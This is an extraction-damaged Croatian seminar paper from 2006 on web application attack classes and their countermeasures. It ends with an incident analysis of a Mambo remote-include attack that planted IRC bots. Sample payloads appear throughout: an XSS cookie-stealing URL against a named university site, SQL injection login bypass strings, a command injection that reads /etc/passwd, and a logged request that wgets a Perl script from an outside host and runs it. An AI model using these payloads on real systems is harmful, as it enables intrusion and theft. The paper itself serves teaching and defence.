Professional Documents
Culture Documents
Zagreb, 2006.
Sadraj
1.Uvod.............................................................................................................................. ..1 2.Napadi vezani za autentifikaciju ................................................ .................................3 2.1.Brute force napadi.......................................................................................................3 2.2.Nedovoljna razina autentifikacije.................................................................................3 2.3.Nedovoljna zatita korisnikove lozinke........................................................................4 3.Napadi vezani za autorizaciju....................................................................................... .5 3.1.Nagaanje vjerodajnog identifikacijskog broja ...........................................................5 3.2.Nedovoljna autorizacija................................................................................................6 3.3.Nedovoljna kontrola trajanja koritenja usluge............................................................6 3.4.Fiksacija usluge...........................................................................................................7 4.Napadi na klijentsku stranu......................................................... .................................9 4.1.Ubacivanje nepostojeeg sadraja (engl. Content spoofing) .....................................9 4.2.Izvravanje napadakog koda (engl. Cross-site scripting) .........................................9 5.Napadi vezani uz izvravanje naredbi................................................ ........................12 5.1.Buffer overflow napadi ..............................................................................................12 5.2.Format string napadi..................................................................................................12 5.3.OS commanding........................................................................................................13 5.4.SQL injection............................................................................................................ .13 . 5.5.LDAP i XPath injection...............................................................................................15 6.Otkrivanje povjerljivih informacija....................................................................... .......16 6.1.Rasipanje informacija................................................................................................16 6.2.Izlistavanje mapa (engl. Directory indexing)..............................................................16 6.3.Otkrivanje preaca.....................................................................................................17 6.4.Predvianje lokacije resursa......................................................................................18 7.Logiki napadi....................................................................................................... .......19 7.1.Zloupotreba funkcionalnosti.......................................................................................19 7.2.DoS napadi................................................................................................................19 7.3.Napadi automatiziranim procesima...........................................................................20 7.4.Naruavanje kontrole procesa...................................................................................20 8.Praktini rad............................................................................................... ..................22 9.Zakljuak.......................................................................................... ............................24 10.Literatura............................................................................................. .......................26
1. Uvod
U dananje vrijeme Web aplikacije su dominantna i najsofisticiranija tehnologija koritena u razliitim poslovima na Internetu. Njihovo ubrzano irenje je polueno uslugama koje omoguuju korisnicima razmjenu i izmjenu informacija neovisno o platformi kroz infrastrukturu Interneta. Primjeri Web aplikacija su pretraivai, Web-mail aplikacije, aplikacije za kupnju i razliiti portali. Web aplikacije se najee sastoje od programskog koda koji se nalazi i izvrava na posluiteljskoj strani, te su u interakciji sa bazama podataka i ostalim izvorima dinamikog sadraja. Upravo zbog njihove rairenosti, Web aplikacije su postale sigurnosne kritine toke u komunikaciji izmeu klijenta i posluitelja. Sama priroda Web aplikacija da imaju mogunost procesiranja, usporeivanja i irenja informacija preko Interneta, razotkriva Web aplikacije na dva osnovna naina. Prvi i najoitiji je da su one uglavnom javno dostupne, ime se onemoguuje princip sigurnosti kroz zamraivanje (engl. security through obscurity) te se javlja zahtjev za potpunijim pisanjem koda prilikom razvoja same aplikacije. Drugi i kritiniji je, da one procesiraju podatke dobivene preko HTTP zahtjeva, koji kao protokol omoguuje pregrt kodirajuih i enkapsulacijskih napadakih tehnika. Veina razvojnih okruenja Web aplikacija daju na koritenje podatkovne elemente programeru pritom izostavljajui pojedinosti o nainu na koji se ti podatkovni elementi interpretiraju, odnosno ne provjeravaju smisao unesenih podataka (engl. validation and sanity checking). Upravo iz razloga to su ta okruenja iroka i nude mnoge forme programskog sadraja, provjera unosa (engl. input validation) i smisla je klju sigurnosti Web aplikacija. To ukljuuje identificiranje, ograniavanje i prisiljavanje dobro poznatih domena za bilo koju vrstu korisnikih podataka, ali i dostatno razumijevanje razliitih vrsta izvora podataka kako bi se odredilo koji je podatak definiran od strane korisnika. Identificiranje ranjivosti Web aplikacija omoguava potencijalnom napadau koritenje razliitih napadakih tehnika. Ove tehnike se takoer nazivaju i klasom napada. Mnoge imaju prepoznatljiva imena, poput prelijevanja memorijskog spremnika (engl. Buffer Overflow), SQL ubrizgavanje (engl. SQL injection) i krino skriptiranje (engl. Cross-site scripting). Radi jednostavnosti i ustaljenosti termina u raunarstvu, koristit e se engleski nazivi za klase napada. Cilj ovog seminarskog rada je identificirati, kategorizirati i opisati ve poznate klase napada koji predstavljaju prijetnje za Web aplikacije, te ponuditi adekvatnu protumjeru. Stoga e se u nastavku uvodnog dijela dati kratak pregled klasa napada koje su danas najzastupljenije. To su: Napadi vezani uz autentifikaciju Napadi vezani u autorizaciju Napadi na klijentsku stranu Napadi vezani uz izvravanje naredbi Otkrivanje povjerljivih informacija Logiki napadi Napadi vezani uz autentifikaciju korisnika se dijele na napade koritenjem sile (engl. Brute force), napade koji su posljedica nedovoljne razine autentifikacije i napade koji su posljedica nedovoljne zatite korisnikove lozinke. Brute force napadi predstavljaju automatizirani proces koji se koristi metodom pogaanja i promaaja kako bi se otkrilo korisniko ime, lozinka, kriptografski klju ili broj kreditne kartice. Ukoliko Web aplikacija omoguava napadau pristup osjetljivom sadraju, a da se pritom napada nije propisno autentificirao, tada je rije o nedovoljnoj autentifikaciji. Nedovoljnom
1
sigurnost_web_aplikacija_v1 zatitom korisnikove lozinke se omoguava napadau da ilegalno dobije, promijeni ili obnovi lozinku drugog korisnika. Napadi vezani u autorizaciju se dijele na napade vezane uz nagaanje vjerodajnog identifikacijskog broja (engl. Credential/Session prediction), nedovoljnu autorizaciju, nedovoljna kontrola trajanja usluge (engl. Session expiration) i fiksaciju usluge (engl. Session fixation). Nagaanje vjerodajnog identifikacijskog broja je metoda kojom se otima identitet drugog korisnika. Nedovoljnom autorizacijom, Web aplikacija omoguava napadau pristup sadraju ili funkcionalnosti koja bi inae trebala biti zatiena viom razinom sigurnosti. Nedovoljnom kontrolom trajanja koritenja usluge, Web aplikacija omoguava napadau da koristi stare vjerodajne identifikacijske brojeve za autorizaciju. Fiksacijom usluge napada podvaljuje korisniku fiksni identifikacijski broj koji kasnije napada koristi za autorizaciju. Napadi na klijentsku stranu su ubacivanje nepostojeeg sadraja (engl. Content spoofing) i izvravanje napadakog koda (engl. Cross-site scripting) u korisnikom Web pregledniku. Ubacivanje nepostojeeg sadraja je vrsta napada kojom napada eli uvjeriti korisnika da je odreeni sadraj legitiman i da ne potjee s nekog vanjskog izvora. Cross-site scripting je napadaka tehnika koja prisiljava Web aplikaciju da proslijedi napadaki izvrni kod korisniku, koji e se uitati u korisnikovom Web preglednik i izvriti. Napadi vezani uz izvravanje naredbi se dijele na Buffer overflow napade, Format string napade OS commanding, SQL injection, XPATH i LDAP injection. Buffer overflow napadi mijenjanju ili onemoguuju tok izvoenja aplikacijskih procesa na nain da prebriu odreene dijelove memorije. Format string napadi mijenjaju programski tok aplikacije koristei razliite oblike formatirajuih naredbi kako bi dobili pristup odreenom memorijskom prostoru. SQL, LDAP, XPATH injection napadi se baziraju na slinoj napadakoj tehnici; ugroavanje Web aplikacije koja konstruira SQL, LDAP, XPATH izjave iz korisniki unesenih podataka. Os commanding je napadaka tehnika koja ugroava Web aplikaciju izvravanjem naredbi operacijskog sistema kroz manipulaciju aplikacijskih ulaznih podataka. Otkrivanje povjerljivih informacija se dijeli na izlistavanje mapa, rasipanje informacija, otkrivanje preaca do informacija i predvianje lokacije resursa. Izlistavanje mapa (engl. Directory indexing) je funkcija Web posluitelja koja omoguava napadau izlistavanje sadraja odreene mape ukoliko osnovna datoteka ( index, default) nije prisutna. Kada Web aplikacija otkriva osjetljive podatke kao to su programerski komentari ili detaljnije poruke o pogrekama, tada pomae potencijalnom napadau rasipanjem informacija. Otkrivanjem preaca, napadau je omoguen pristup datotekama, mapama i naredbama koje su inae izvan osnovnog direktorija Web aplikacije. Predvianjem lokacije resursa napada moe pristupiti skrivenom sadraju, pogotovo onom sistemskog i administratorskom. Logiki napadi su: zloupotreba funkcionalnosti, napadi temeljeni na uskraivanju usluge (engl. Denial of Service) ili DoS napadi, napadi uzrokovani automatiziranim procesima i napadi koji naruavaju kontrolu procesa. Kada potencijalni napada koristi resurse i funkcionalnost Web aplikacije kako bi iskoristio, prevario ili promijenio njen kontrolni mehanizam, tada govorimo o zloupotrebi funkcionalnosti. DoS napadom, napada onemoguava normalni rad Web aplikacije i pristup drugih klijenata Web aplikaciji. Napadi automatiziranim procesima nastupaju kada Web aplikacija omoguava napadau izvoenje automatiziranog procesa koji bi inae po svojoj prirodi trebao biti runo izveden od strane korisnika. Naruavanje kontrole procesa nastupa kada napada uspije promijeniti tijek izvoenja pojedinih dogaaja koji inae odstupa od obiajnog kontrolnog tijeka izvoenja dogaaja.
sigurnost_web_aplikacija_v1 administratorskoj mapi nije mogu ukoliko ne postoji poveznica (link) na /admin/ mapu, i pritom ne postavi dozvole pristupa /admin/ mapi.
Napada poalje zahtjev s odreenim korisnikim imenom procesu za obnovu lozinke. Proces odgovori na njegov zahtjev s tajnim pitanjem tipa U kojem mjestu si roen?. Ukoliko napada posjeduje brute force alat u ijem se rjeniku zapisani svi gradovi u Hrvatskoj, postoji velika mogunost da e ponuditi toan odgovor, odnosno prevariti proces za obnovu i saznati korisnikovu lozinku. Korisnik koristi trik kako bi upamtio svoju lozinku tipa Ime+datum roenja. Ukoliko napada sazna o kojem se triku radi (trik je najee dostupan) moe znaajno smanjiti podruje pretrage, odnosno smanjiti broj zapisa u rjeniku brute force alata i poveati mogunost uspjenog napada.
1 = 100 o n ID S essi
sigurnost_web_aplikacija_v1 Slijed napada je sljedei: 1) Napada pristupi Web aplikaciji kako bi dobio trenutni Session ID. Web aplikacija mu vraa Session ID s vrijednou 1000. 2) Poto napada zna da se radi o inkrementirajuem algoritmu za generiranje Session ID-a, napada jednostavno izrauna vrijednost sljedeeg Session ID-a (vrijednost 1001). 3) Napada izmjeni vrijednost Session ID-a unutar Cookie-a ili URL-a na vrijednost 1001 i upuuje zahtjeve Web aplikaciji sve dok se ne prijavi sljedei korisnik. Nakon to se korisnik prijavi, napada moe korisiti njegove privilegije koristei izraunati Session ID.
sigurnost_web_aplikacija_v1 U prvom koraku, napada koji je takoer legitimni korisnik bankovnog sustava, se ulogira na posluioca (1) i dobije session ID s vrijednou 1234 (2). Nakon toga napada poalje posebno skrojeni hyperlink http://online.worldbank.dom/login.jsp?sessionid=1234 korisniku, te pokuava namamiti korisnika da pritisne hyperlink (3). Korisnik pritie hyperlink, koji otvara posluiteljsku stranicu za ulogiravanje u korisnikovom Web pregledniku (4). Potrebno je naglasiti da je za prilikom prihvata zahtjeva login.jsp?sessionid=1234, Web aplikacija ve otvorila sjednicu za danog korisnika i nova sjednica nije potrebna. Na kraju, korisnik upisuje svoje korisniko ime i lozinku (5) te ih prosljeuje posluitelju kako bi mu dodijelio pristup bankovnom raunu. Ali, napada takoer zna session ID , te moe pristupiti korisnikovom raunu koristei account.jsp?sessionid=1234 (6). Kako je session ID ve bila unaprijed fiksirana prije nego to se korisnik ulogirao, kaemo da se korisnik ulogirao u sjednicu postavljenu od napadaa.
promijeniti izvor frame_src parametra u i umetnuti svoj sadraj u file.html, te proslijediti skrojeni link korisniku bilo putem e-maila, IM-a (instant messanger) ili poslati link na forum. Korisnik posjeuje ovu stranicu, vidi domenu http://www.fer.hr u Web pregledniku i uvjeren je da je sadraj koji promatra autentian i s izvorne lokacije, a u biti sadraj potjee s napadaevog izvora http://napad.hr/file.html.
frame_src=http://napad.hr/file.html
dokumenta
Iz ovog primjera je vidljivo da je ugroen povjerljiv odnos izmeu korisnika i Web aplikacije.Ova napadaka tehnika se najee koristiti za stvaranje lanih Web stranica za prijavu korisnika, gdje se na relativno jednostavan nain moe ukrasti korisnikov identitet.
sigurnost_web_aplikacija_v1 portali, Web mail ili Web chat aplikacije. Pritom nije nuno da korisnik pritisne neki link, ve je dovoljno da jednostavno pregleda sadraj Web stranice koja sadri tetni kod. Primjer: OSL web (slika 4.1). Na slubenoj stranici FER OSL-a je primijeena Cross-site scripting ranjivost. Openito, da bi testirali pojedinu Web aplikaciju na XSS ranjivost, potrebno je ubaciti jednostavnu Javascript alert poruku <script>alert(XSS)</script> u dio Web aplikacije koji se moe nanovo vidjeti (najee URL ili poruke unutar nekog foruma). Nakon to se postavi poruka, potrebno je pogledati da li e Web preglednik reagirati pop-up prozorom s porukom. Ako se prozor pojavi, to je znak da se skripta izvrila i da postoji XSS ranjivost.
U naem sluaju, posljedica XSS napada je kraa Cookie-a. Koristei sljedei skrojeni link koji u sebi sadri skriptu prikae se pop-up prozor koji ispie korisniki Cookie:
http://www.osl.fer.hr/index.php?option=com_remository&Itemid=27&func=sele ct&id=<script>alert(document.cookie);</script>
Iz primjera je vidljiv nain na koji se moe ukrasti korisniki identitet. Ovo je jedna od eih napadakih tehnika, pa je potrebno provesti dodatne sigurnosne mjere kako bi se izbjegla ova vrsta napada:
Onemoguavanje skripti kada one nisu potrebne. Na ovaj nain se spreava izvravanje koda unutar korisnikog Web preglednika putem skripti (unutar URL-a), ali i dalje postoji opasnost od posebno skrojenih napadakih HTML dokumenata koji se najee prosljeuju korisniku putem e-maila. Filtriranje korisnikih zahtjeva. Na ovaj nain, Web aplikacija uvijek provjerava korisnike zahtjeve i filtrira posebne meta znakove definirane HTML specifikacijom kako bi ustanovila
10
4.Napadi na klijentsku stranu da li korisniki zahtjev sadri skriptu. Ukoliko zahtjev sadri skriptu, Web aplikacija spreava prikazivanje tetnog HTML dokumenta unutar korisnikog Web preglednika.
Kodiranje stranica. Cross-site scripting napadi se mogu izbjei ukoliko Web posluitelj pravilno kodira generirane stranice kako bi onemoguio nenamjerno izvravanje skripti.
11
itanje podataka sa stoga, pri emu napada koristi konverzijski znak %x unutar printf naredbe te kao rezultat dobiva vrijednosti stoga.
12
itanje znakovnih nizova. Ukoliko se rezultat printf naredbe vrati napadau, tada on koristei konverzijski znak %s moe itati znakovne nizove iz memorije. Pisanje cjelobrojnih konstanti u procesnu memoriju. Ukoliko napada koristi %n konverzijski znak, tada napada moe upisati cjelobrojnu konstantu na bilo koju lokaciju u memoriji. Primjerice, moe izmijeniti kontrolne zastavice unutar programa kako bi promijenio tok izvoenja programa.
5.3. OS commanding
Os commanding je napadaka tehnika koja ugroava Web aplikaciju izvravanjem naredbi operacijskog sustava kroz manipulaciju aplikacijskih ulaznih podataka. Kada Web aplikacija nedovoljno provjeri, odnosno kada ne sanira korisniki unesene podatke prije koritenja unutar svog programskog koda, tada postoji mogunost prevare aplikacije kako bi se izvrile odreene naredbe operacijskog sustava. Pri emu se izvrene naredbe pokreu s dozvolama komponenti koje su pokrenule njeno izvoene (npr. posluitelj baze podataka, Web posluitelj). Primjer je Web aplikacija kojoj napada putem URL-a proslijedi sljedei podatak: http://primjer/temp.php?dir=%3Bcat%20/etc/passwd. Zbog propusta aplikacije da sanira vrijednost varijable dir, napada e ovom naredbom doi do sadraja /etc/passwd datoteke koja sadri povjerljive podatke.Koristei ovu napadaku tehniku, napada ak moe koristei TFTP protokol ubaciti svoje alate i pritom u potpunosti preuzeti kontrolu nad sustavom.
U ovom kodu, programer uzima korisniki unesene podatke iz autentifikacijskog obrasca i direktno ih ubacuje u SQL izjavu (putem varijabli username i password). Pretpostavimo sada da napada u autentifikacijski obrazac za korisniko ime i lozinku upie sljedee:
Korisniko ime: ' OR ''=' Lozinka: ' OR ''='
13
sigurnost_web_aplikacija_v1
SELECT Username FROM Users WHERE Username = '' OR''='' AND Password = '' OR ''=''
Vidljivo je, da e se umjesto usporeivanja korisniki unesenih podataka s podacima unutar korisnike tablice (Users), usporeivati ' '(prazan niz) s ' ' (prazan niz). Stoga e rezultat ove SQL izjave uvijek biti istinit i napada e se uspjeti ulogirati u sustav kao prvi korisnih u korisnikoj ( Users) tablici. Najee, najefektivnija metoda za lociranje SQL injection ranjivosti je runo pretraivanje prouavanje razliitih aplikacijskih ulaznih podataka i ubacivanje posebnih znakova. Kako se pri radu se bazama najee dobije povratna informacija u obliku stranice s porukom o pogreci, potencijalni napada moe priblino odrediti sintaksu SQL izjava nad odreenom bazom podataka i izvesti SQL injection napad. Stoga, pri razvoju Web aplikacije posebnu pozornost treba obratiti na detaljnost stranica s porukom o greki kako se ne bi otkrile suvine informacije kao u sljedeem primjeru (slika 5.1):
Slika 5.1. Prikazivanje suvinih informacija pri izvoenju SQL injection napada
Iz slike 5.1 je vidljivo da su u stranici s grekom ispisane dodatne informacije o bazi podataka : vrsta posluitelja baze podataka , vrsta pogreke te ak linija koda u kojoj se pogreka dogodila. Na ovaj nain se napadau malo pomalo otkriva struktura same baze podataka. Openito, postoje dvije vrste SQL injection napada: slijepi i normalni SQL injection. Slijepi SQL injection napad smo ve spomenuli u prijanjem odlomku kad smo spominjali runo pretraivanje. Dakle, prilikom slijepog SQL injection napada, umjesto vraanja jednostavne i ture poruke o pogreci, posluitelj vrati detaljan opis o pogreci te tako pomogne napadau. Na temelju te poruke pokuava realizirati SQL injection napad postavljajui istinitu i lanu izjavu kao vrijednost odreenog parametra. Primjer: http://example/article.asp?ID=2+and+1=1 istinita izjava
http://example/article.asp?ID=2+and+1=0 lana izjava
14
5.Napadi vezani uz izvravanje naredbi Normalni SQL injection napad koristi union select izjavu kao vrijednost parametra kako bi napada utvrdio da li moe pristupiti bazi podataka. Primjer:
http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
Uspjeh ovog napada ovisi o broju stupaca u traenoj tablici, pa je na napadau da odredi ispravan broj stupaca (atributa). Ako to uspije odrediti, dobit e uvid u bazu podataka.
15
Iz ovog primjera je vidljivo rasipanje informacija kroz nepotrebni programerski komentar. Naime, programer je unutar komentara naveo ime Web posluitelja i na taj nain opskrbio napadaa dodatnom informacijom koja moe posluiti za napad prema samom Web posluitelju.
6.Otkrivanje povjerljivih informacija korisniku. Ukoliko ova datoteka ne postoji, posluitelj e izlistavanjem mape korisniku poslati cjeloviti ispis direktorija. Ova funkcija je ekvivalentna s ls (Unix) ili dir (Windows) naredbe unutar odreenog direktorija. Kada Web posluitelj otkrije sadraj direktorija, postoji mogunost da e se unutar direktorija pojaviti datoteke koje nisu namijenjene javnosti. Stoga, Web administratori esto koriste strategiju Sigurnost kroz zamraivanje (engl Security through Obscurity), pri emu pretpostavljaju da ukoliko ne postoje linkovi prema odreenim datotekama, da se tim datotekama ne moe pristupiti. Naravno, ta pretpostavka je netona. Danas postoje razliiti pretraivai ranjivosti koji mogu dinamiki pretraivati direktorije i datoteke unutar odreene Web aplikacije provodei ispitivanje nad Web posluiteljem. Gledano iz perspektive sigurnosti, nepotrebno izlistavanje direktorija omoguava potencijalnom napadau potrebne informacije za izvoenje napada na sustav. Stoga, izlistavanje mapa se koristi samo kad ne postoji druga mogunost prikaza odreenih sadraja ili kad ne postoji rizik od napada.
U ovom primjeru su prikazane tri vrste napada. Prvi je osnovni, koristei ../ specijalni niz znakova. Drugi i trei koriste encodinge, dvostruki URL-encoding i Unicode-encoding. Primjer 2.: Otkrivanje preaca na Web aplikaciji.
17
sigurnost_web_aplikacija_v1 Izvorni link: http://primjer/temp.cgi?home=index.htm Napad: http://primjer/temp.cgi?home=temp.cgi U gornjem primjeru, Web aplikacija e otkriti izvorni kod temp.cgi datoteke jer se home varijabla koristi za prikaz sadraja u obliku HTML dokumenta.
18
7. Logiki napadi
Logiki napadi su napadake tehnike namijenjene naruavanju ili zloupotrebi logikog toka Web aplikacije. Pod logikim tokom ili aplikacijskom logikom se podrazumijeva proceduralni tok koji se koristi u Web aplikaciji kako bi se izvela odreena radnja. Postoje razni primjere aplikacijske logike, a najpoznatiji su: proces za obnovu lozinke, registracija rauna ili on-line kupovina. Web aplikacija zahtijeva od korisnika da tono i precizno izvodi odreeni proces u koracima kako bi zavrio pojedinu radnju. S druge strane, napadaeva namjera je zaobii ili zlouporabiti ovaj proces kako bi natetio Web aplikaciji i njenim korisnicima.
Koritenje trailice kako bi se pristupilo zatienim datotekama izvan osnovne mape Iskoritavanje datotenog upload sustava zamjenu kritinih konfiguracijskih datoteka Izvoenje DoS napada nad sustavom prijave korisnika koristei ispravna korisnika imena i loe lozinke kako bi se blokirao pristup odreenim korisnicima (nakon odreenom broja pokuaja Web aplikacija onemogui pristup).
Openito, svi efektivni napadi prema aplikacijama dodiruju podruje ugroavanja i zloupotrebe funkcionalnosti. Specijalno u naem sluaju, opisuju se napadi koji rue Web aplikacije s malo ili bez ikakvi izmjena izvornih aplikacijskih funkcija. Jedan od zanimljivijih primjera zloupotrebe funkcionalnosti je zabiljeen kod Smarwin CyberOffice Web aplikacije koja koristi kolica za kupnju (engl Shopping cart) kako bi korisnicima omoguila kupovinu odreenih artikala. Naime, napada je na neoekivani nain mogao izmijeniti ponaanje Web aplikacije mijenjajui vrijednost skrivenog polja unutar forme koju koristi Web aplikacija. Forma bi se normalno skinula, izmijenila i ponovno poslala aplikaciji sa cijenama postavljenima prema napadaevim eljama.
sigurnost_web_aplikacija_v1 Veina dananjih Web aplikacija se bazira na okruenju koje koristi Web posluitelj, posluitelj baze podataka i autentifikacijski posluitelj. Posebna panja se posveuje DoS napadima na aplikacijskom sloju koji su usmjereni prema gore navedenim neovisnim komponentama. Razlog tomu je, to ih je puno lake izvesti nego one na mrenom sloju. Primjeri:
DoS napad usmjeren prema korisniku. Napada e se uestalo pokuavati ulogirati na Web aplikaciju kao odreeni korisnik, namjerno koristei krivu lozinku. Konano, aplikacijski autentifikacijski proces e zakljuati pristup korisniku. DoS napad prema posluitelju baze podataka. Napada uz pomo SQL injection napada modificira bazu podataka na nain da sustav postane nestabilan (npr. obrie sve podatke). DoS napad prema Web posluitelju. Napada koristi Buffer Overflow napad kako bi sruio procese Web posluitelja i kako se sustavu ne bi moglo pristupiti odreeno vrijeme.
20
7.Logiki napadi 1. 2. 3. 4. Korisnik eli kupiti proizvod B s popustom, te u kolica ubacuje proizvode A i B u koaricu. Korisnik ulazi u proces provjere gdje mu se registrira popust. Korisnik se vraa natrag iz procesa provjere, izbacuje proizvod A iz koarice. Korisnik ponovno ulazi u proces provjere, pritom zadravajui popust ostvaren u prijanjem procesu provjere (sa proizvodom A u koarici) i prevarom postie niu cijenu proizvoda B.
21
8. Praktini rad
Cilj praktinog rada je analizirati napad koji se dogodio na OSL Web posluitelju 2006. godine, pri emu je napadnuta Mambo 4.5x (content manager) Web aplikacija. Poetna faza ovog napada je lociranje sustava, odnosno Web posluitelja koji koristi Mambo. To se postie traenjem odgovarajuih URL-ova karakteristinih za domene s Mambom:
"%22option=com_content%22+site%3A".$domena."%20" "inurl:%22".$domena."/index.php?option=com_content%22" "%22by+mambo%22+site%3A".$domena."%20"
Nakon to napada otkrije domenu s Mambom, pomou automatiziranih programa upuuje specijalno skrojene zahtjeve prema Web posluitelju, pri emu rauna na jednu ranjivost Mamba 4.5x. Pregledavajui zapise o zahtjevima (logs) OSL Web posluitelja otkriveni su neobini zahtjevi sljedeeg sadraja, npr:
217.160.143.44 - - [05/Mar/2006:08:38:53 +0100] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosCo nfig_absolute_path=http://elatha.magicshells.com/~hex/cuti/tool.gif?&cmd= cd%20/tmp/;WGET%20http://equal.home.ro/mamb0x.txt;perl%20mamb0x.txt;rm%20 -rf%20mamb0x.txt*? HTTP/1.0" 200 540
Iz zahtjeva je vidljivo da se sadraj varijable GLOBALS=&mosConfig_absolute_path koristi za izvravanje naredbi (comandset). Specijalno, u gornjem sluaju: poziva se odreeni URL, ulazi se u direktorij /tmp/, s vanjskog izvora se u /tmp/ direktorij ubacuje (koristei wget) datoteka mamb0x.txt, koristei Perl se izvrava datoteka mamb0x.txt, te se datoteka mamb0x.txt brie kako bi se prikrili tragovi napada. Takoer, iz HTTP statusa zahtjeva se vidi da je zahtjev korektan, odnosno da e ga Web posluitelj procesirati. Daljnjom analizom i potragom za slinim sluajevima (na www.secunia.com), potvrena je tvrdnja da sadraj varijable GLOBALS= &mosConfig_absolute_path nije pravilno verificiran za verziju Mambo-a 4.52. Koristei ovu ranjivost, napada moe ubaciti datoteke iz vanjskog izvora u sustav Web posluitelja i izvravati naredbe nad tim istim sustavom. Prema tome, koristi se OS commanding napadaka tehnika. Postavlja se pitanje : Zato bi napada ubacivao odreenu datoteku u sustav, izvravao je i zatim brisao?. Kada se pogleda sadraj skripti koje su ubaene u /tmp/ direktorij, ustanovit e se da se radi o IRC botovima. IRC botovi su automatizirani procesi koji koriste IRC protokol za odreene radnje. Nakon to se ubace u sustav i pone njihovo izvravanje, IRC botovi se spajaju na odreeni IRC kanal. Kanal je najee zatien lozinkom koju posjeduje napada - zombie master. Kada se napada ulogira na taj kanal, koristi botove za realizaciju DDoS napada ( distributed DoS). DDoS napad nastupa kada vie kompromitiranih sustava ugroavaju (flood) resurse nekog drugog sustava, najee Web posluitelja. Kompromitirani sustavi se nazivaju bot mreama, a tehnike DDoS napada variraju od UDP flooding-a, SYN flooding-a i PUSH/SYN flooding-a. Prema tome, pomou OS commanding napadake tehnike, u OSL Web posluitelju se stvorila bot mrea koja nije direktno ugroavala sustav samog posluitelja, ve je ekala napadaevu naredbu da izvri DDoS napad prema odreenom sustavu. Botovi su se spajali na IRC kanal banjaluka22
8.Praktini rad crew.be:6667 (vlasnici Limp-Biskit i Aljosha), odnosno 80.87.131.133:8350 (vlasnici alboz, albo, albozz ). A koristei sljedei Perl program, izdvojili smo iz zapisa o zahtjevima (logovima) sve IP adrese koje su koritene za napad:
use MIME::Base64; my %attackers = (); my %provala = (); sub URLdecode { my $theURL = $_[0]; $theURL =~ tr/+/ /; $theURL =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg; $theURL =~ s/<!--(.|\n)*-->//g; return $theURL; } while (<>) { if (/^(\S+) - - .+ "GET \/index\.php\?_REQUEST\[option\]=com_content\&_REQUEST\[Itemid\]=1 \&GLOBALS=\&mosConfig_absolute_path=(.+)\?&cmd=(.+)\?/) { $attackers{$1} = 1; $address{URLdecode($2)} = 1; $commandset{URLdecode($3)} = 1; } } print "Attackers IPs:\n"; for $record (sort keys %attackers) { print $record, "\n"; } print "\n";
Kao rezultat analize logova, dobili smo stotinjak IP adresa s kojih je izveden napad to je dovoljno za upuivanje prijave centru za prevenciju i otklanjanje problema vezanih uz sigurnost raunalnih mrea (CCERT-u), kako bi se u budunosti sprijeili slini napadi. Nadalje, kako bi osigurali OSL Web posluitelj i poveali razinu sigurnosti razmatrali smo dva naina zatite. Prvi je instalacija Mambo sigurnosne zakrpe za verziju 4.5.2 i update verzije na 4.5.2.1 koja se moe nai na Mambo-voj slubenoj stranici. Druga je dodavanje dodatnih modula za Apache Web posluitelj. Sigurnosni modul za Apache se zove mod-security i relativno se jednostavno konfigurira. Ovim modulom, koristei regularne izraze, mogu se filtrirati zahtjevi i na taj nain omoguiti dodatnu verifikaciju GLOBALS=&mosConfig_absolute_path varijable.
23
9. Zakljuak
Sigurnost Web aplikacija u dananje vrijeme u velikoj mjeri ovisi o dizajnu same aplikacije. Stoga, velika odgovornost je na programerima koji uz pisanje koda aplikacije moraju dodatnu panju obratiti i na sigurnost. Tri glavna razloga zato programeri piu ranjive Web aplikacije su:
Mnoge Web aplikacije jednostavno nisu dizajnirane da se odupru neprijateljskom okruenju. Sigurnost u ovom sluaju nije prioritet za aplikacijskog programera; programer veinu svoje energije posveuje sadraju i unapreivanju pouzdanosti aplikacije. Mnogi programeri Web aplikacija nisu educirani za pisanje sigurnog koda. Razlog tomu je praenje, odnosno zaostajanje programera za najnovijim operacijskih sustavima i razvojnim okruenjima. Izuavanje mrene sigurnosti moe biti naporan posao koji iziskuje znatno vrijeme potrebno za dodatne analize napada i smiljanje njihove prevencije. Aplikacijski programeri su ljudi, a ljudi ine pogreke. ak i programeri kojima je sigurnost Web aplikacija prioritet, ponekad zaborave oprezno parsirati korisniki unesene podatke ili pohrane tajnu informaciju na mjesto gdje ta informacija moe biti kompromirirana.
Svaka Web aplikacija moe imati sigurnosni propust koji je rezultat najobinijih programerskih greaka, te iz dana u dan se otkrivaju nove vrste napada. U sklopu ovog seminarskog rada smo ve opisali veinu sigurnosnih propusta i napada. Potrebno je jo jednom navesti glavne predstavnike iz odreenih klasa napada i nain njihove prevencije:
Iz klasa napada vezanih uz autentifikaciju, glavni predstavnik je Brute force napad ija je namjera, uestalim ponavljanjem doi do korisnike lozinke i tako kompromitirati proces autentifikacije. Stoga, programeri aplikacija moraju voditi rauna o dodatnim zatitama korisnikih lozinki kako bi se zatitile od otkrivanja i nagaanja lozinke od strane napadaa. Iz klasa napada vezanih uz autorizaciju, naglasak je napadakim radnjama koje ugroavaju Cookie, tj. nagaanje, kontrolu trajanja usluge i fiksaciju usluge. Ovaj problem se pokuava rijeiti s dodatnim policama sigurnosti kao to je polica WWW Consortium-a (W3C), Platform for Privacy Preferences (P3P) . P3P koristi XML datoteku kako bi opirno opisivao nain na koji Web aplikacija rukuje privatnim korisnikim podacima tijekom i poslije koritenje usluge. Iz klase napada na korisniku stranu, glavni predstavnik je Cross site scripting napad koji omoguava izvravanja tetnog napadakog koda u korisnikom Web pregledniku. Poto Web aplikacija prosljeuje ovaj kod prema korisniku, dodatna odgovornost je na programerima i administratorima Web aplikacije pri filtriranju zahtjeva i traenju skrivenih skripti. Iz klase napada vezanih uz izvravanje naredbi, glavni predstavnici su Buffer overflow i SQL injection napad. Buffer overflow napadom, napada pokuava destabilizirati Web aplikaciju ugroavanjem memorije, dok SQL injection napadom eli preuzeti kontrolu nad bazom podataka koju koristi Web aplikacija. Obje vrste napada je mogue sprijeiti dodatnom validacijom korisniki unesenih podataka od strane Web aplikacije. Programeri pri pisanju aplikacija moraju paziti na posebne znakove i naredbe koji se interpretiraju od strane Web posluitelja, operacijskog sustava i baze podataka. Rasipanje vitalnih informacija mora biti sprijeeno u bilo kojem obliku. Administrator, koritenjem dodatnih razina zatite datoteka i direktorija, onemoguavanjem ispisa sadraja direktorija, onemoguavanjem preaca, mora stvoriti vrstu strukturu Web aplikacije koja e sprijeiti napadaa da doe do povjerljivih informacija. Iz klase logikih napada, glavni predstavnik je Denial of Service (DoS) napad. Dos napad rui sustav Web aplikacije onemoguavajui korisniku pristup. Kako je DoS napad najee
24
